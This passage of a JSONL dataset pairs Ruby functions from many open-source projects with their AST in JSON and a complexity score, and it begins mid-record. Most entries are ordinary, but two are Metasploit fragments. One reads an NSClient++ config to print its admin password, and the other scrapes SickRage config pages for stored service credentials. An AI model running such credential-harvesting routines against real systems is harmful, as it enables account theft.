\"destination_dir\"]},{\"type\":\"lvar\",\"children\":[\"database\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"database\"]},\"export_snapshot!\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"ConnectionNotEstablished\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errors\"]},\"DatabaseBackupError\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"database\"]},\"connection_params\"]},{\"type\":\"lvar\",\"children\":[\"dump_file_name\"]}]}]}]},null]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"postgres\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"database\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pg_database_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"database\"]},\"configuration\"]},\"database\"]}]},{\"type\":\"lvasgn\",\"children\":[\"dump_file_name\",{\"type\":\"send\",\"children\":[null,\"file_name\",{\"type\":\"lvar\",\"children\":[\"destination_dir\"]},{\"type\":\"lvar\",\"children\":[\"database\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Backup\"]},\"Cli\"]},\"Output\"]},\"print_info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Dumping PostgreSQL database \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pg_database_name\"]}]},{\"type\":\"str\",\"children\":[\" ... \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"status\",{\"type\":\"send\",\"children\":[null,\"database_dump\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"database\"]},{\"type\":\"lvar\",\"children\":[\"database\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filepath\"]},{\"type\":\"lvar\",\"children\":[\"dump_file_name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"report_finish_status\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"success?\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"empty?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Backup\"]},\"Cli\"]},\"Output\"]},\"error\",{\"type\":\"str\",\"children\":[\"------ BEGIN ERRORS -----\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Backup\"]},\"Cli\"]},\"Output\"]},\"print\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"join\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stderr\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Backup\"]},\"Cli\"]},\"Output\"]},\"error\",{\"type\":\"str\",\"children\":[\"------ END ERRORS -------\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"success?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errors\"]},\"DatabaseBackupError\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"database\"]},\"connection_params\"]},{\"type\":\"lvar\",\"children\":[\"dump_file_name\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"database\"]},\"release_snapshot!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"database\"]},\"restore_timeouts!\"]}]}]}]}]}]}","id":"8433b458-1e46-4907-bf08-7804d64fc688"}
{"repo_name":"liquid","file_path":"./repos/liquid/performance/shopify/paginate.rb","start_line":85,"raw_source":"def link(title, page)\n    { 'title' => title, 'url' => current_url + \"?page=#{page}\", 'is_link' => true }\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"link\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"title\"]},{\"type\":\"arg\",\"children\":[\"page\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"title\"]},{\"type\":\"lvar\",\"children\":[\"title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_url\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"?page=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"is_link\"]},{\"type\":\"true\",\"children\":[]}]}]}]}","id":"f1732c97-5025-420e-9ebd-2c2bb257363c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/spam/spam_verdict_service.rb","start_line":90,"raw_source":"def spamcheck_client\n      @spamcheck_client ||= Gitlab::Spamcheck::Client.new\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"spamcheck_client\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@spamcheck_client\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Spamcheck\"]},\"Client\"]},\"new\"]}]}]}","id":"6e19c970-aa5b-4f2d-bf56-5a287efd8fbc"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/manageiq/providers/inventory/persister/builder/network_manager.rb","start_line":87,"raw_source":"def load_balancer_pools\n          add_properties(\n            :parent_inventory_collections => %i[load_balancers]\n          )\n\n          add_targeted_arel(\n            lambda do |inventory_collection|\n              manager_uuids = inventory_collection.parent_inventory_collections.flat_map { |c| c.manager_uuids.to_a }\n              inventory_collection.parent.load_balancer_pools\n                .joins(:load_balancers)\n                .where(:load_balancers => {:ems_ref => manager_uuids})\n                .distinct\n            end\n          )\n\n          add_common_default_values\n        end","complexity_score":23.4,"ast_json":"{\"type\":\"def\",\"children\":[\"load_balancer_pools\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_properties\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent_inventory_collections\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"load_balancers\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_targeted_arel\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"inventory_collection\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"manager_uuids\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inventory_collection\"]},\"parent_inventory_collections\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"manager_uuids\"]},\"to_a\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inventory_collection\"]},\"parent\"]},\"load_balancer_pools\"]},\"joins\",{\"type\":\"sym\",\"children\":[\"load_balancers\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"load_balancers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ems_ref\"]},{\"type\":\"lvar\",\"children\":[\"manager_uuids\"]}]}]}]}]}]},\"distinct\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_common_default_values\"]}]}]}","id":"cff1ce13-4a6f-4eaa-807a-a7b1b50b7808"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_many_through_associations_test.rb","start_line":956,"raw_source":"def test_merge_join_association_with_has_many_through_association_proxy\n    author = authors(:mary)\n    assert_nothing_raised { author.comments.ratings.to_sql }\n  end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_merge_join_association_with_has_many_through_association_proxy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"author\",{\"type\":\"send\",\"children\":[null,\"authors\",{\"type\":\"sym\",\"children\":[\"mary\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"author\"]},\"comments\"]},\"ratings\"]},\"to_sql\"]}]}]}]}","id":"845c6cea-ee0c-42ef-be24-41f9732b8989"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/nscp_pe.rb","start_line":191,"raw_source":"def leak_info\n    file_contents = read_file(datastore['FILE'])\n    return unless file_contents\n\n    a = file_contents.split(\"\\n\")\n    pwd = nil\n    web_server_enabled = false\n\n    a.each do |x|\n      if x =~ /password/\n        pwd = get_arg(x)\n        print_good(\"Admin password found : #{pwd}\")\n      elsif x =~ /WEBServer/\n        if x =~ /enabled/\n          web_server_enabled = true\n          print_good('NSClient web interface is enabled !')\n        end\n      end\n    end\n    return pwd, web_server_enabled\n  end","complexity_score":22.1,"ast_json":"{\"type\":\"def\",\"children\":[\"leak_info\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"file_contents\",{\"type\":\"send\",\"children\":[null,\"read_file\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FILE\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_contents\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"a\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_contents\"]},\"split\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pwd\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"web_server_enabled\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"password\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pwd\",{\"type\":\"send\",\"children\":[null,\"get_arg\",{\"type\":\"lvar\",\"children\":[\"x\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Admin password found : \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pwd\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"WEBServer\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"enabled\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"web_server_enabled\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"NSClient web interface is enabled !\"]}]}]},null]},null]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pwd\"]},{\"type\":\"lvar\",\"children\":[\"web_server_enabled\"]}]}]}]}","id":"f4b7dded-33ff-436a-b0f5-c2cd68390163"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/http_sickrage_password_leak.rb","start_line":101,"raw_source":"def run\n    begin\n      paths = ['/config/general/', '/config/anime/', '/config/notifications/']\n      paths.each do |path|\n        config = get_config(path)\n        next if config.nil?\n\n        if path.split('/').last.eql?('notifications')\n          get_notification_creds(config)\n        end\n\n        ['git', 'anidb', 'kodi', 'plex_server', 'plex_client'].each do |path|\n          get_creds(path, config)\n        end\n      end\n    rescue RuntimeError => e\n      print_error(e.message)\n    end\n  end","complexity_score":25.7,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"paths\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"/config/general/\"]},{\"type\":\"str\",\"children\":[\"/config/anime/\"]},{\"type\":\"str\",\"children\":[\"/config/notifications/\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paths\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"send\",\"children\":[null,\"get_config\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"nil?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"split\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"last\"]},\"eql?\",{\"type\":\"str\",\"children\":[\"notifications\"]}]},{\"type\":\"send\",\"children\":[null,\"get_notification_creds\",{\"type\":\"lvar\",\"children\":[\"config\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"git\"]},{\"type\":\"str\",\"children\":[\"anidb\"]},{\"type\":\"str\",\"children\":[\"kodi\"]},{\"type\":\"str\",\"children\":[\"plex_server\"]},{\"type\":\"str\",\"children\":[\"plex_client\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[null,\"get_creds\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"config\"]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},null]}]}]}","id":"be3cfa90-d98a-418f-9e66-102997462a69"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/concerns/user_attribute_helpers.rb","start_line":20,"raw_source":"def active_account_user\n    account_users.order(Arel.sql('active_at DESC NULLS LAST'))&.first\n  end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"active_account_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account_users\"]},\"order\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"sql\",{\"type\":\"str\",\"children\":[\"active_at DESC NULLS LAST\"]}]}]},\"first\"]}]}","id":"ff8a4897-b6c6-4380-ac2f-162a78216787"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/helpers/formatting_helper.rb","start_line":24,"raw_source":"def extract_status_plain_text(status)\n    PlainTextFormatter.new(status.text, status.local?).to_s\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_status_plain_text\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PlainTextFormatter\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"local?\"]}]},\"to_s\"]}]}","id":"10cfd7a7-b041-4179-8284-13cf300158ae"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/admin/web_hooks_controller.rb","start_line":163,"raw_source":"def ping\n    Jobs.enqueue(\n      :emit_web_hook_event,\n      web_hook_id: @web_hook.id,\n      event_type: \"ping\",\n      event_name: \"ping\",\n    )\n    render json: success_json\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"ping\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Jobs\"]},\"enqueue\",{\"type\":\"sym\",\"children\":[\"emit_web_hook_event\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"web_hook_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@web_hook\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"event_type\"]},{\"type\":\"str\",\"children\":[\"ping\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"event_name\"]},{\"type\":\"str\",\"children\":[\"ping\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[null,\"success_json\"]}]}]}]}]}]}","id":"ae962aed-ae45-4207-8f61-8c2379ee0fe5"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/jobs/scheduled/reindex_search.rb","start_line":191,"raw_source":"def load_problem_user_ids(limit)\n      User\n        .joins(\"LEFT JOIN user_search_data ON user_id = users.id\")\n        .where(\n          \"user_search_data.locale IS NULL OR user_search_data.locale != ? OR user_search_data.version != ?\",\n          SiteSetting.default_locale,\n          SearchIndexer::USER_INDEX_VERSION,\n        )\n        .order(\"users.id ASC\")\n        .limit(limit)\n        .pluck(:id)\n    end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"load_problem_user_ids\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"limit\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"joins\",{\"type\":\"str\",\"children\":[\"LEFT JOIN user_search_data ON user_id = users.id\"]}]},\"where\",{\"type\":\"str\",\"children\":[\"user_search_data.locale IS NULL OR user_search_data.locale != ? OR user_search_data.version != ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"default_locale\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SearchIndexer\"]},\"USER_INDEX_VERSION\"]}]},\"order\",{\"type\":\"str\",\"children\":[\"users.id ASC\"]}]},\"limit\",{\"type\":\"lvar\",\"children\":[\"limit\"]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}","id":"706fadc6-3b7a-4702-8f31-a26d0d23ad67"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/gym/lib/gym/module.rb","start_line":65,"raw_source":"def building_multiplatform_for_mac?\n      Gym.project.multiplatform? && Gym.project.mac? && Gym.config[:sdk] == \"macosx\"\n    end","complexity_score":11.3,"ast_json":"{\"type\":\"def\",\"children\":[\"building_multiplatform_for_mac?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gym\"]},\"project\"]},\"multiplatform?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gym\"]},\"project\"]},\"mac?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gym\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sdk\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"macosx\"]}]}]}]}","id":"30c42a31-a975-4851-a6a7-e1f5a9652a25"}
{"repo_name":"forem","file_path":"./repos/forem/spec/liquid_tags/runkit_tag_spec.rb","start_line":20,"raw_source":"def generate_runkit_liquid(preamble_str, block)\n      Liquid::Template.register_tag(\"runkit\", described_class)\n      Liquid::Template.parse(\"{% runkit #{preamble_str}%}#{block}{% endrunkit %}\")\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_runkit_liquid\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"preamble_str\"]},{\"type\":\"arg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"Template\"]},\"register_tag\",{\"type\":\"str\",\"children\":[\"runkit\"]},{\"type\":\"send\",\"children\":[null,\"described_class\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"Template\"]},\"parse\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"{% runkit \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"preamble_str\"]}]},{\"type\":\"str\",\"children\":[\"%}\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]},{\"type\":\"str\",\"children\":[\"{% endrunkit %}\"]}]}]}]}]}","id":"550f2071-ba07-47d7-81cc-83950f300dde"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/setup/tests-metadata.rb","start_line":50,"raw_source":"def verify_flaky_report\n    # This requires activesupport\n    require_relative '../../gems/gitlab-rspec_flaky/lib/gitlab/rspec_flaky/report'\n\n    Gitlab::RspecFlaky::Report.load(flaky_report_path).flaky_examples.to_h\n  rescue JSON::ParserError\n    abort(\"#{flaky_report_path} is not valid JSON\")\n  end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"verify_flaky_report\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require_relative\",{\"type\":\"str\",\"children\":[\"../../gems/gitlab-rspec_flaky/lib/gitlab/rspec_flaky/report\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"RspecFlaky\"]},\"Report\"]},\"load\",{\"type\":\"send\",\"children\":[null,\"flaky_report_path\"]}]},\"flaky_examples\"]},\"to_h\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"ParserError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"abort\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flaky_report_path\"]}]},{\"type\":\"str\",\"children\":[\" is not valid JSON\"]}]}]}]},null]}]}","id":"b546f409-5e04-469c-8cfb-3fb799a134c7"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/namespaced_generators_test.rb","start_line":58,"raw_source":"def test_invokes_default_test_framework\n    run_generator\n    assert_file \"test/controllers/test_app/account_controller_test.rb\"\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_invokes_default_test_framework\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\"]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"test/controllers/test_app/account_controller_test.rb\"]}]}]}]}","id":"d9347c33-db84-4722-8ac6-fc7342a6da21"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/projects/concerns/update_demo_data.rb","start_line":35,"raw_source":"def after_perform(call)\n      project = call.result\n\n      # e.g. when one of the demo projects gets deleted or archived\n      if %w[demo-project].include?(project.identifier)\n        Setting.demo_projects_available = !project.destroyed? && !project.archived? && project.public?\n      end\n\n      super\n    end","complexity_score":15.3,"ast_json":"{\"type\":\"def\",\"children\":[\"after_perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"call\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"result\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"demo-project\"]}]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"identifier\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"demo_projects_available=\",{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"destroyed?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"archived?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"public?\"]}]}]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"299305cb-12d7-4cce-9409-19c755779c7e"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin_helper/storage.rb","start_line":100,"raw_source":"def configure(conf)\n        super\n\n        @storage_configs.each do |section|\n          if !section.usage.empty? && section.usage !~ /^[a-zA-Z][-_.a-zA-Z0-9]*$/\n            raise Fluent::ConfigError, \"Argument in <storage ARG> uses invalid characters: '#{section.usage}'\"\n          end\n          if @_storages[section.usage]\n            raise Fluent::ConfigError, \"duplicated storages configured: #{section.usage}\"\n          end\n          storage = Plugin.new_storage(section[:@type], parent: self)\n          storage.configure(section.corresponding_config_element)\n          @_storages[section.usage] = StorageState.new(wrap_instance(storage), false)\n        end\n      